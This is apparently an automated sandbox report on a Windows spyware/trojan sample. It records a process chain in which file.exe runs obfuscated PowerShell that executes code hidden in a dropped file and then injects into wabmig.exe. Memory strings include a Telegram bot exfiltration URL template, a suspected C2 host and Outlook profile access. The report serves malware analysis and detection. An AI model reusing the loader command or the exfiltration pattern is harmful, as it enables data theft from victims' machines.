Source: wabmig.exe, 00000007.00000002.2695880589.0000000022DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: powershell.exe, 00000002.00000002.2207916280.0000000004EE5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000002.00000002.2207916280.0000000004D91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: wabmig.exe, 00000007.00000002.2695880589.0000000022EC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: wabmig.exe, 00000007.00000002.2695880589.0000000022EC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: wabmig.exe, 00000007.00000002.2695880589.0000000022EC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: wabmig.exe, 00000007.00000002.2695880589.0000000022EC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:093954%0D%0ADate%20a
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: wabmig.exe, 00000007.00000002.2695880589.0000000022F9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: wabmig.exe, 00000007.00000002.2695880589.0000000022F97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: powershell.exe, 00000002.00000002.2210698080.0000000005DF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.2210698080.0000000005DF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.2210698080.0000000005DF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 00000002.00000002.2207916280.0000000004EE5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.2210698080.0000000005DF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: wabmig.exe, 00000007.00000002.2695880589.0000000022EC1000.00000004.00000800.00020000.00000000.sdmp, wabmig.exe, 00000007.00000002.2695880589.0000000022E2A000.00000004.00000800.00020000.00000000.sdmp, wabmig.exe, 00000007.00000002.2695880589.0000000022E9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: wabmig.exe, 00000007.00000002.2695880589.0000000022E2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: wabmig.exe, 00000007.00000002.2695880589.0000000022E9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.33
Source: wabmig.exe, 00000007.00000002.2695880589.0000000022EC1000.00000004.00000800.00020000.00000000.sdmp, wabmig.exe, 00000007.00000002.2695880589.0000000022E55000.00000004.00000800.00020000.00000000.sdmp, wabmig.exe, 00000007.00000002.2695880589.0000000022E9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.33$
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: wabmig.exe, 00000007.00000002.2695880589.0000000022FCD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: wabmig.exe, 00000007.00000002.2695880589.0000000022FC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:49730 version: TLS 1.2

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0040571B GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_0040571B

System Summary

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\acneform\Tjenestepligterne\file.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00403532 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_00403532

Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\SysWOW64\sennepssovsen			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\resources\0809			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00406DC6	0_2_00406DC6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040759D	0_2_0040759D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_04C0EBD8	2_2_04C0EBD8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_04C0F4A8	2_2_04C0F4A8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_04C0E890	2_2_04C0E890
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0775C80E	2_2_0775C80E
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_0094C147	7_2_0094C147
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_0094D278	7_2_0094D278
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_0094C738	7_2_0094C738
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_0094E988	7_2_0094E988
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_009469A0	7_2_009469A0
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_0094CA08	7_2_0094CA08
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_0094CCD8	7_2_0094CCD8
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_00943E13	7_2_00943E13
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_0094CFA9	7_2_0094CFA9
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_00946FC8	7_2_00946FC8
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_00945370	7_2_00945370
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_0094F631	7_2_0094F631
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_0094E97B	7_2_0094E97B
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_00943A91	7_2_00943A91
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_0094FA8D	7_2_0094FA8D
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_25D49548	7_2_25D49548
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_25D42968	7_2_25D42968
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_25D49C18	7_2_25D49C18
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_25D45028	7_2_25D45028
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_25D417A0	7_2_25D417A0
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_25D40B30	7_2_25D40B30
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_25D41E80	7_2_25D41E80
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_25D4DDFF	7_2_25D4DDFF
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_25D4D999	7_2_25D4D999
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_25D4D9A8	7_2_25D4D9A8
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_25D4D550	7_2_25D4D550
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_25D4295A	7_2_25D4295A
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_25D4D545	7_2_25D4D545
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_25D4D0F8	7_2_25D4D0F8
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_25D4CC8F	7_2_25D4CC8F
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_25D4CCA0	7_2_25D4CCA0
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_25D40040	7_2_25D40040
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_25D4FC68	7_2_25D4FC68
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_25D4F810	7_2_25D4F810
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_25D45018	7_2_25D45018
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_25D4F801	7_2_25D4F801
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_25D4003B	7_2_25D4003B
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_25D48B90	7_2_25D48B90
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_25D4178F	7_2_25D4178F
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_25D4F3B8	7_2_25D4F3B8
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_25D48BA0	7_2_25D48BA0
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_25D4F3A8	7_2_25D4F3A8
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_25D4EF51	7_2_25D4EF51
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_25D4EF60	7_2_25D4EF60
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_25D4EB08	7_2_25D4EB08
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_25D40B2F	7_2_25D40B2F
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_25D4E6B0	7_2_25D4E6B0
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_25D4E6AF	7_2_25D4E6AF
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_25D4E258	7_2_25D4E258
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_25D4E249	7_2_25D4E249
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_25D41E70	7_2_25D41E70
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_25D4DE00	7_2_25D4DE00

Source: file.exe

Static PE information: invalid certificate

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/12@3/4

Source: C:\Users\user\Desktop\file.exe

0_2_00403532

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004049C7 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004049C7

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004021AF CoCreateInstance,

0_2_004021AF

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\acneform

Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7504:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\nskB008.tmp

Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

ReversingLabs: Detection: 21%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle minimized "$Sprag=Get-Content 'C:\Users\user\AppData\Local\acneform\Camomiles.Bev';$Depurge=$Sprag.SubString(30781,3);.$Depurge($Sprag)"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wabmig.exe "C:\Program Files (x86)\windows mail\wabmig.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle minimized "$Sprag=Get-Content 'C:\Users\user\AppData\Local\acneform\Camomiles.Bev';$Depurge=$Sprag.SubString(30781,3);.$Depurge($Sprag)"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wabmig.exe "C:\Program Files (x86)\windows mail\wabmig.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wabmig.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000002.00000002.2216409652.0000000008695000.00000004.00000020.00020000.00000000.sdmp
